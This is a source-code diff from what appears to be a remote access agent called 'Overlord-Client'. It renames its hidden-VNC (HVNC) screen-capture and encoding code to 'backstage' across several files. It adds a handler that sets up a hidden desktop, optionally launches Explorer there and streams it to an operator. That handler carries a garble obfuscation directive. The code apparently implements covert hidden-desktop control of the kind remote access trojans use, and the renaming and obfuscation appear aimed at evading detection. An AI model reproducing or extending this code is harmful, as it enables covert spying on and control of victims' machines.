HWND: w.hwnd, Title: title, X: winLeft, @@ -2093,7 +2093,7 @@ func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) { return result, monInfos } -type HVNCMonitorInfo struct { +type BackstageMonitorInfo struct { Index int Name string X int diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index 7090556..9950ca9 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -504,9 +504,9 @@ var ( prevMu sync.Mutex prevFrame *prevImage - hvncPrevMu sync.Mutex - hvncPrevFrame *prevImage - hvncLastKeyframe atomic.Int64 + backstagePrevMu sync.Mutex + backstagePrevFrame *prevImage + backstageLastKeyframe atomic.Int64 ) type prevImage struct { @@ -616,12 +616,12 @@ func ResetPrev() { resetH264Encoder() } -func ResetPrevHVNC() { - hvncPrevMu.Lock() - hvncPrevFrame = nil - hvncPrevMu.Unlock() - hvncLastKeyframe.Store(0) - resetH264EncoderHVNC() +func ResetPrevbackstage() { + backstagePrevMu.Lock() + backstagePrevFrame = nil + backstagePrevMu.Unlock() + backstageLastKeyframe.Store(0) + resetH264Encoderbackstage() } func RequestDesktopFullFrame() { @@ -642,12 +642,12 @@ func useDesktopSoftwareH264() bool { return desktopSoftwareH264.Load() } -func RequestHVNCFullFrame() { - hvncPrevMu.Lock() - hvncPrevFrame = nil - hvncPrevMu.Unlock() - hvncLastKeyframe.Store(0) - resetH264EncoderHVNC() +func RequestbackstageFullFrame() { + backstagePrevMu.Lock() + backstagePrevFrame = nil + backstagePrevMu.Unlock() + backstageLastKeyframe.Store(0) + resetH264Encoderbackstage() } func jpegQuality() int { @@ -731,8 +731,8 @@ const ( cursorROIMargin = 32 windowROIMargin = 12 - hvncSamplingRate = 1 - hvncChangeThresh = 1 + backstageSamplingRate = 1 + backstageChangeThresh = 1 ) func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) { @@ -841,7 +841,7 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format}, Data: blockPayload}, encDur, nil } -func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) { +func buildFramebackstage(img *image.RGBA, display int, quality int) (wire.Frame, time.Duration, error) { encStart := time.Now() width := img.Bounds().Dx() height := img.Bounds().Dy() @@ -850,49 +850,49 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time now := time.Now() if codec == "h264" { if width%2 != 0 || height%2 != 0 { - log.Printf("hvnc capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height) + log.Printf("backstage capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height) codec = "jpeg" } else { if webrtcpub.ConsumeKeyframeRequest() { - resetH264EncoderHVNC() + resetH264Encoderbackstage() } - h264Bytes, err := encodeH264FrameHVNC(img) + h264Bytes, err := encodeH264Framebackstage(img) if err == nil && len(h264Bytes) > 0 { - hvncLastKeyframe.Store(now.UnixNano()) + backstageLastKeyframe.Store(now.UnixNano()) statFullFrames.Add(1) - frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", HVNC: true}, Data: h264Bytes} + frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", Backstage: true}, Data: h264Bytes} return frame, time.Since(encStart), nil } h264WarnOnce.Do(func() { detail := h264AvailabilityDetail() if detail != "" { - log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v (%s)", err, detail) + log.Printf("backstage capture: h264 encode unavailable, falling back to jpeg: %v (%s)", err, detail) return } - log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v", err) + log.Printf("backstage capture: h264 encode unavailable, falling back to jpeg: %v", err) }) codec = "jpeg" } } - hvncPrevMu.Lock() - pf := hvncPrevFrame - hvncPrevMu.Unlock() + backstagePrevMu.Lock() + pf := backstagePrevFrame + backstagePrevMu.Unlock() - if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, hvncLastKeyframe.Load())) > keyframeEvery { + if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, backstageLastKeyframe.Load())) > keyframeEvery { jpegBytes, err := encodeJPEG(img, quality) - hvncPrevMu.Lock() - copyPrevHVNC(img) - hvncPrevMu.Unlock() - hvncLastKeyframe.Store(now.UnixNano()) + backstagePrevMu.Lock() + copyPrevbackstage(img) + backstagePrevMu.Unlock() + backstageLastKeyframe.Store(now.UnixNano()) statFullFrames.Add(1) - frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes} + frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", Backstage: true}, Data: jpegBytes} return frame, time.Since(encStart), err } - // use strict block detection for HVNC otherwise half the time it just doesn't fucking update pictures + // use strict block detection for backstage otherwise half the time it just doesn't fucking update pictures // because of how slow the capture shit is. - blocks, blockPayload, encDur, err := encodeBlocksHVNC(img, pf, quality, codec, display) + blocks, blockPayload, encDur, err := encodeBlocksbackstage(img, pf, quality, codec, display) if err != nil { return wire.Frame{}, encDur, err } @@ -901,7 +901,7 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time // Keepalive frames indicate no block-level changes, so avoid copying the // full RGBA buffer into prevFrame again. statKeepaliveFrames.Add(1) - frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", HVNC: true}, Data: blockPayload} + frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", Backstage: true}, Data: blockPayload} return frame, encDur, nil } @@ -910,13 +910,13 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time if changedRatio > maxBlockRatio { jpegBytes, err := encodeJPEG(img, quality) - hvncPrevMu.Lock() - copyPrevHVNC(img) - hvncPrevMu.Unlock() - hvncLastKeyframe.Store(now.UnixNano()) + backstagePrevMu.Lock() + copyPrevbackstage(img) + backstagePrevMu.Unlock() + backstageLastKeyframe.Store(now.UnixNano()) statBlockFallbacks.Add(1) statFullFrames.Add(1) - frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes} + frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", Backstage: true}, Data: jpegBytes} return frame, time.Since(encStart), err } @@ -926,7 +926,7 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time if codec == "raw" { format = "blocks_raw" } - frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format, HVNC: true}, Data: blockPayload} + frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format, Backstage: true}, Data: blockPayload} return frame, encDur, nil } @@ -1001,7 +1001,7 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d changed := blockChanged(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) if !changed && blockIntersectsROI(x, y, ww, hh, rois) { - changed = blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) + changed = blockChangedbackstage(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) } if changed { changedGrid[by*blocksWide+bx] = true @@ -1276,12 +1276,12 @@ func sortRegionsByROI(regions []streamRegion, hints []roiHint) { }) } -func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool { +func blockChangedbackstage(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool { changedPixels := 0 sampledPixels := 0 - for row := 0; row < h; row += hvncSamplingRate { - for col := 0; col < w; col += hvncSamplingRate { + for row := 0; row < h; row += backstageSamplingRate { + for col := 0; col < w; col += backstageSamplingRate { sampledPixels++ ci := (y+row)*curStride + (x+col)*4 pi := (y+row)*prevStride + (x+col)*4 @@ -1304,7 +1304,7 @@ func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h in db = -db } - if dr > hvncChangeThresh || dg > hvncChangeThresh || db > hvncChangeThresh { + if dr > backstageChangeThresh || dg > backstageChangeThresh || db > backstageChangeThresh { changedPixels++ if sampledPixels > 20 && changedPixels*100 > sampledPixels { @@ -1320,7 +1320,7 @@ func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h in return changedPixels*100 > sampledPixels } -func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) { +func encodeBlocksbackstage(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) { width := img.Bounds().Dx() height := img.Bounds().Dy() stride := img.Stride @@ -1360,7 +1360,7 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin hh = height - y } - if blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) { + if blockChangedbackstage(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) { changedGrid[by*blocksWide+bx] = true changedCount++ } @@ -1513,19 +1513,19 @@ func copyPrev(img *image.RGBA) { } } -func copyPrevHVNC(img *image.RGBA) { +func copyPrevbackstage(img *image.RGBA) { width := img.Bounds().Dx() height := img.Bounds().Dy() n := len(img.Pix) - if hvncPrevFrame != nil && cap(hvncPrevFrame.pix) >= n { - hvncPrevFrame.w = width - hvncPrevFrame.h = height - hvncPrevFrame.pix = hvncPrevFrame.pix[:n] - copy(hvncPrevFrame.pix, img.Pix) + if backstagePrevFrame != nil && cap(backstagePrevFrame.pix) >= n { + backstagePrevFrame.w = width + backstagePrevFrame.h = height + backstagePrevFrame.pix = backstagePrevFrame.pix[:n] + copy(backstagePrevFrame.pix, img.Pix) } else { buf := make([]byte, n) copy(buf, img.Pix) - hvncPrevFrame = &prevImage{w: width, h: height, pix: buf} + backstagePrevFrame = &prevImage{w: width, h: height, pix: buf} } } @@ -1587,25 +1587,25 @@ func SetQualityAndCodec(quality int, codec string) { h264WarnOnce = sync.Once{} if s != "h264" { resetH264Encoder() - resetH264EncoderHVNC() + resetH264Encoderbackstage() } case "": default: overrideCodec.Store("jpeg") resetH264Encoder() - resetH264EncoderHVNC() + resetH264Encoderbackstage() } } -func NowHVNC(ctx context.Context, env *rt.Env) error { +func Nowbackstage(ctx context.Context, env *rt.Env) error { if env.Cfg.DisableCapture { - return sendBlackFrameHVNC(ctx, env) + return sendBlackFramebackstage(ctx, env) } if !supportsBackstageCapture() { return nil } - return captureAndSendHVNC(ctx, env) + return captureAndSendbackstage(ctx, env) } func NowVirtual(ctx context.Context, env *rt.Env) error { @@ -1659,7 +1659,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error { } captureDur := time.Since(t0) - willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) + willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) var slotAcquired bool if !willSendViaWebRTC && !AcquireFrameSlot() { PutRGBA(img) @@ -1668,7 +1668,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error { slotAcquired = !willSendViaWebRTC quality := jpegQuality() - frame, encodeDur, err := buildFrameHVNC(img, 0, quality) + frame, encodeDur, err := buildFramebackstage(img, 0, quality) PutRGBA(img) img = nil if err != nil { @@ -1691,12 +1691,12 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error { } return nil } - if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) { + if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) { dur := time.Second / time.Duration(fps) if dur <= 0 { dur = 33 * time.Millisecond } - if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil { + if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil { log.Printf("webrtc: write hidden h264 failed: %v", werr) } if slotAcquired { @@ -1737,12 +1737,12 @@ func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Fram if ctx.Err() != nil { return nil } - if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) { + if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) { dur := time.Second / time.Duration(fps) if dur <= 0 { dur = 33 * time.Millisecond } - if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil { + if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil { log.Printf("webrtc: write hidden h264 failed: %v", werr) } return nil @@ -1769,7 +1769,7 @@ func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error { img := image.NewRGBA(image.Rect(0, 0, 64, 64)) quality := 60 - frame, _, err := buildFrameHVNC(img, 0, quality) + frame, _, err := buildFramebackstage(img, 0, quality) if err != nil { return err } @@ -1778,36 +1778,36 @@ func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error { } func supportsBackstageCapture() bool { - count := HVNCMonitorCount() + count := BackstageMonitorCount() return count > 0 } -func captureAndSendHVNC(ctx context.Context, env *rt.Env) error { +func captureAndSendbackstage(ctx context.Context, env *rt.Env) error { defer func() { if r := recover(); r != nil { - log.Printf("hvnc capture: panic in captureAndSendHVNC: %v", r) + log.Printf("backstage capture: panic in captureAndSendbackstage: %v", r) } }() - display := env.HVNCSelectedDisplay - if display < 0 || display >= HVNCMonitorCount() { + display := env.BackstageSelectedDisplay + if display < 0 || display >= BackstageMonitorCount() { display = 0 - log.Printf("hvnc capture: requested display %d out of range, defaulting to 0", display) + log.Printf("backstage capture: requested display %d out of range, defaulting to 0", display) } t0 := time.Now() img, err := safeBackstageCaptureDisplay(display) if err != nil { - log.Printf("hvnc capture: capture failed: %v (sending black frame)", err) - return sendBlackFrameHVNC(ctx, env) + log.Printf("backstage capture: capture failed: %v (sending black frame)", err) + return sendBlackFramebackstage(ctx, env) } if img == nil { - log.Printf("hvnc capture: capture returned nil image (sending black frame)") - return sendBlackFrameHVNC(ctx, env) + log.Printf("backstage capture: capture returned nil image (sending black frame)") + return sendBlackFramebackstage(ctx, env) } captureDur := time.Since(t0) - willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) + willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) var slotAcquired bool if !willSendViaWebRTC && !AcquireFrameSlot() { PutRGBA(img) @@ -1816,7 +1816,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error { slotAcquired = !willSendViaWebRTC quality := jpegQuality() - frame, encodeDur, err := buildFrameHVNC(img, display, quality) + frame, encodeDur, err := buildFramebackstage(img, display, quality) PutRGBA(img) img = nil if err != nil { @@ -1839,13 +1839,13 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error { } return nil } - if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) { + if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) { dur := time.Second / time.Duration(fps) if dur <= 0 { dur = 33 * time.Millisecond } - if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil { - log.Printf("webrtc: write hvnc h264 failed: %v", werr) + if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil { + log.Printf("webrtc: write backstage h264 failed: %v", werr) } if slotAcquired { ReleaseFrameSlot() @@ -1868,7 +1868,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error { if shouldLogFrame(now) { total := time.Since(t0) - log.Printf("hvnc capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s", + log.Printf("backstage capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s", display, fps, frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total) } @@ -1886,14 +1886,14 @@ func safeBackstageCaptureDisplay(display int) (*image.RGBA, error) { return img, nil } -func sendBlackFrameHVNC(ctx context.Context, env *rt.Env) error { +func sendBlackFramebackstage(ctx context.Context, env *rt.Env) error { if ctx.Err() != nil { return nil } img := image.NewRGBA(image.Rect(0, 0, 64, 64)) quality := 60 - frame, _, err := buildFrameHVNC(img, 0, quality) + frame, _, err := buildFramebackstage(img, 0, quality) if err != nil { return err } diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go b/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go index ed4ad02..5d46a4e 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go @@ -23,9 +23,9 @@ func resetH264Encoder() {} func RequestDesktopH264Keyframe() {} -func resetH264EncoderHVNC() {} +func resetH264Encoderbackstage() {} -func encodeH264FrameHVNC(_ *image.RGBA) ([]byte, error) { +func encodeH264Framebackstage(_ *image.RGBA) ([]byte, error) { return nil, errors.New("h264 support not available (cgo disabled)") } diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go b/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go index 1e5e972..77e271c 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go @@ -523,8 +523,8 @@ var ( h264Enc h264FrameEncoder h264LastErr error - hvncH264Mu sync.Mutex - hvncH264Enc h264FrameEncoder + backstageH264Mu sync.Mutex + backstageH264Enc h264FrameEncoder webcamH264Mu sync.Mutex webcamH264Enc h264FrameEncoder @@ -538,10 +538,10 @@ func encodeH264Frame(img *image.RGBA) ([]byte, error) { return out, err } -func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) { - hvncH264Mu.Lock() - defer hvncH264Mu.Unlock() - return encodeH264FrameWithEncoder(&hvncH264Enc, "backstage", img) +func encodeH264Framebackstage(img *image.RGBA) ([]byte, error) { + backstageH264Mu.Lock() + defer backstageH264Mu.Unlock() + return encodeH264FrameWithEncoder(&backstageH264Enc, "backstage", img) } func encodeH264FrameWebcam(img *image.RGBA) ([]byte, error) { @@ -624,10 +624,10 @@ func RequestDesktopH264Keyframe() { resetH264Encoder() } -func resetH264EncoderHVNC() { - hvncH264Mu.Lock() - defer hvncH264Mu.Unlock() - closeH264Encoder(&hvncH264Enc) +func resetH264Encoderbackstage() { + backstageH264Mu.Lock() + defer backstageH264Mu.Unlock() + closeH264Encoder(&backstageH264Enc) } func closeH264Encoder(slot *h264FrameEncoder) { @@ -1410,7 +1410,7 @@ func average2x2RGB(row0, row1 []byte, x int) (int, int, int) { func shutdownMediaFoundationForTest() { closeH264Encoder(&h264Enc) - closeH264Encoder(&hvncH264Enc) + closeH264Encoder(&backstageH264Enc) closeH264Encoder(&webcamH264Enc) _, _, _ = procMFShutdown.Call() } diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go b/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go index d2b7dcd..c79e913 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go @@ -142,57 +142,57 @@ func closeH264EncoderLocked() { } var ( - hvncH264Mu sync.Mutex - hvncH264Enc *x264.Encoder - hvncH264Buf bytes.Buffer - hvncH264Width int - hvncH264Height int - hvncH264FPS int - hvncH264Scratch []byte + backstageH264Mu sync.Mutex + backstageH264Enc *x264.Encoder + backstageH264Buf bytes.Buffer + backstageH264Width int + backstageH264Height int + backstageH264FPS int + backstageH264Scratch []byte ) -func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) { +func encodeH264Framebackstage(img *image.RGBA) ([]byte, error) { bounds := img.Bounds() width := bounds.Dx() height := bounds.Dy() - hvncH264Mu.Lock() - defer hvncH264Mu.Unlock() + backstageH264Mu.Lock() + defer backstageH264Mu.Unlock() - if err := ensureHVNCH264EncoderLocked(width, height); err != nil { + if err := ensurebackstageH264EncoderLocked(width, height); err != nil { return nil, err } - hvncH264Buf.Reset() - if err := hvncH264Enc.Encode(img); err != nil { + backstageH264Buf.Reset() + if err := backstageH264Enc.Encode(img); err != nil { return nil, err } - n := hvncH264Buf.Len() + n := backstageH264Buf.Len() if n == 0 { return nil, nil } - if cap(hvncH264Scratch) < n { - hvncH264Scratch = make([]byte, n, n+(n/4)) + if cap(backstageH264Scratch) < n { + backstageH264Scratch = make([]byte, n, n+(n/4)) } else { - hvncH264Scratch = hvncH264Scratch[:n] + backstageH264Scratch = backstageH264Scratch[:n] } - copy(hvncH264Scratch, hvncH264Buf.Bytes()) - return hvncH264Scratch, nil + copy(backstageH264Scratch, backstageH264Buf.Bytes()) + return backstageH264Scratch, nil } -func resetH264EncoderHVNC() { - hvncH264Mu.Lock() - defer hvncH264Mu.Unlock() - closeHVNCH264EncoderLocked() +func resetH264Encoderbackstage() { + backstageH264Mu.Lock() + defer backstageH264Mu.Unlock() + closebackstageH264EncoderLocked() } -func ensureHVNCH264EncoderLocked(width, height int) error { +func ensurebackstageH264EncoderLocked(width, height int) error { fps := activeH264FPS() - if hvncH264Enc != nil && hvncH264Width == width && hvncH264Height == height && hvncH264FPS == fps { + if backstageH264Enc != nil && backstageH264Width == width && backstageH264Height == height && backstageH264FPS == fps { return nil } - closeHVNCH264EncoderLocked() + closebackstageH264EncoderLocked() opts := &x264.Options{ Width: width, Height: height, @@ -204,26 +204,26 @@ func ensureHVNCH264EncoderLocked(width, height int) error { RateConstant: 23, LogLevel: x264.LogError, } - enc, err := x264.NewEncoder(&hvncH264Buf, opts) + enc, err := x264.NewEncoder(&backstageH264Buf, opts) if err != nil { return err } - hvncH264Enc = enc - hvncH264Width = width - hvncH264Height = height - hvncH264FPS = fps + backstageH264Enc = enc + backstageH264Width = width + backstageH264Height = height + backstageH264FPS = fps return nil } -func closeHVNCH264EncoderLocked() { - if hvncH264Enc != nil { - _ = hvncH264Enc.Close() - hvncH264Enc = nil +func closebackstageH264EncoderLocked() { + if backstageH264Enc != nil { + _ = backstageH264Enc.Close() + backstageH264Enc = nil } - hvncH264Width = 0 - hvncH264Height = 0 - hvncH264FPS = 0 - hvncH264Buf.Reset() + backstageH264Width = 0 + backstageH264Height = 0 + backstageH264FPS = 0 + backstageH264Buf.Reset() } var ( diff --git a/Overlord-Client/cmd/agent/capture/virtual_stub.go b/Overlord-Client/cmd/agent/capture/virtual_stub.go index 674b929..2cb542e 100644 --- a/Overlord-Client/cmd/agent/capture/virtual_stub.go +++ b/Overlord-Client/cmd/agent/capture/virtual_stub.go @@ -62,7 +62,7 @@ func VirtualKillAll() error { return nil } -func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) { +func VirtualEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) { return nil, nil } diff --git a/Overlord-Client/cmd/agent/capture/virtual_windows.go b/Overlord-Client/cmd/agent/capture/virtual_windows.go index 9755786..8904957 100644 --- a/Overlord-Client/cmd/agent/capture/virtual_windows.go +++ b/Overlord-Client/cmd/agent/capture/virtual_windows.go @@ -294,7 +294,7 @@ func (s *virtualDuplicationState) encodeCachedDirectH264(capStart time.Time, wid if len(out) == 0 { return wire.Frame{}, time.Since(capStart), encodeDur, true, nil } - return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", HVNC: true}, Data: out}, time.Since(capStart), encodeDur, true, nil + return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", Backstage: true}, Data: out}, time.Since(capStart), encodeDur, true, nil } func (s *virtualDuplicationState) cacheDirectH264Texture(src *d3d11Texture2D, srcDesc d3d11Texture2DDesc) error { @@ -939,7 +939,7 @@ func VirtualKillAll() error { return nil } -func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) { +func VirtualEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) { virtualMu.Lock() bounds := virtualMonitorBounds name := virtualMonitorName @@ -950,7 +950,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) { return nil, nil } - monInfos := []HVNCMonitorInfo{{ + monInfos := []BackstageMonitorInfo{{ Index: 0, Name: name, X: bounds.Min.X, @@ -973,7 +973,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) { deskHwnd, _, _ := procGetDesktopWindow.Call() procEnumDesktopWindows.Call(deskHwnd, cb, 0) - var result []HVNCWindowInfo + var result []BackstageWindowInfo for _, w := range windowList { if !isWindowVisible(w.hwnd) { continue @@ -1010,7 +1010,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) { monIdx = 0 } - result = append(result, HVNCWindowInfo{ + result = append(result, BackstageWindowInfo{ HWND: w.hwnd, Title: title, X: winLeft, @@ -2221,7 +2221,7 @@ func virtualCurrentCursor() point { } virtualInputMu.Unlock() var pt point - procGetCursorPosHVNC.Call(uintptr(unsafe.Pointer(&pt))) + procGetCursorPosbackstage.Call(uintptr(unsafe.Pointer(&pt))) return pt } @@ -2397,7 +2397,7 @@ func VirtualCaptureDisplayFallback() (*image.RGBA, error) { capW := srcW capH := srcH - hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH) + hdcScreen, hdcMem, buf, ok := backstageEnsureCapCache(capW, capH) if !ok { return nil, syscall.EINVAL } @@ -2443,8 +2443,8 @@ func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, targe return 0 } - if hvncWinCache == nil { - hvncWinCache = make(map[uintptr]*hvncWinCacheEntry) + if backstageWinCache == nil { + backstageWinCache = make(map[uintptr]*backstageWinCacheEntry) } alive := make(map[uintptr]bool) @@ -2476,17 +2476,17 @@ func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, targe continue } - if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) { + if drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) { drawn++ } alive[hwnd] = true hwnd = getWindow(hwnd, GW_HWNDPREV) } - for h, entry := range hvncWinCache { + for h, entry := range backstageWinCache { if !alive[h] { - hvncFreeCacheEntry(entry) - delete(hvncWinCache, h) + backstageFreeCacheEntry(entry) + delete(backstageWinCache, h) } } diff --git a/Overlord-Client/cmd/agent/handlers/backstage.go b/Overlord-Client/cmd/agent/handlers/backstage.go new file mode 100644 index 0000000..f770fd9 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/backstage.go @@ -0,0 +1,129 @@ +package handlers + +import ( + "context" + "log" + "overlord-client/cmd/agent/capture" + rt "overlord-client/cmd/agent/runtime" + "sync" + "sync/atomic" + "time" +) + +var ( + backstagePersistedDisplayValue int + backstagePersistedDisplayMu sync.Mutex + backstageTargetFPS atomic.Int64 +) + +func persistbackstageDisplaySelection(display int) { + backstagePersistedDisplayMu.Lock() + backstagePersistedDisplayValue = display + backstagePersistedDisplayMu.Unlock() +} + +func GetPersistedbackstageDisplay() int { + backstagePersistedDisplayMu.Lock() + defer backstagePersistedDisplayMu.Unlock() + return backstagePersistedDisplayValue +} + +func backstageStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error { + //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 + fps := activebackstageTargetFPS() + interval := time.Second / time.Duration(fps) + capture.SetH264TargetFPS(fps) + capture.SetFrameFlowTargetFPS(fps) + log.Printf("backstage: starting stream (target fps %d)", fps) + + if err := capture.InitializebackstageDesktop(); err != nil { + log.Printf("backstage: failed to initialize hidden desktop: %v", err) + return err + } + + if autoStartExplorer { + goSafe("backstage auto-start explorer", nil, func() { + if err := capture.BackstageAutoStartExplorer(); err != nil { + log.Printf("backstage: auto-start explorer error: %v", err) + } + }) + } + + ticker := time.NewTicker(interval) + defer ticker.Stop() + currentFPS := fps + for { + select { + case <-ctx.Done(): + log.Printf("backstage: stopping stream") + capture.CleanupbackstageDesktop() + return nil + case <-ticker.C: + fps := activebackstageTargetFPS() + if fps != currentFPS { + currentFPS = fps + capture.SetH264TargetFPS(fps) + capture.SetFrameFlowTargetFPS(fps) + ticker.Reset(time.Second / time.Duration(fps)) + log.Printf("backstage: target fps changed to %d", fps) + } + if err := capture.Nowbackstage(ctx, env); err != nil { + if ctx.Err() != nil { + log.Printf("backstage: stopping stream") + capture.CleanupbackstageDesktop() + return nil + } + log.Printf("backstage: capture error: %v", err) + } + } + } +} + +func activebackstageTargetFPS() int { + if fps := int(backstageTargetFPS.Load()); fps > 0 { + return fps + } + _, fps := streamInterval("OVERLORD_backstage_MAX_FPS", 120) + return SetbackstageTargetFPS(fps) +} + +func SetbackstageTargetFPS(fps int) int { + fps = clampDesktopTargetFPS(fps) + backstageTargetFPS.Store(int64(fps)) + capture.SetH264TargetFPS(fps) + capture.SetFrameFlowTargetFPS(fps) + return fps +} + +func backstageSelect(ctx context.Context, env *rt.Env, display int) error { + prev := env.BackstageSelectedDisplay + maxDisplays := capture.BackstageMonitorCount() + if display < 0 || display >= maxDisplays { + log.Printf("backstage: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1) + display = 0 + } + env.BackstageSelectedDisplay = display + + persistbackstageDisplaySelection(display) + log.Printf("backstage: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display) + return nil +} + +func backstageMouseControl(ctx context.Context, env *rt.Env, enabled bool) error { + env.BackstageMouseControl = enabled + log.Printf("backstage: mouse control %v", 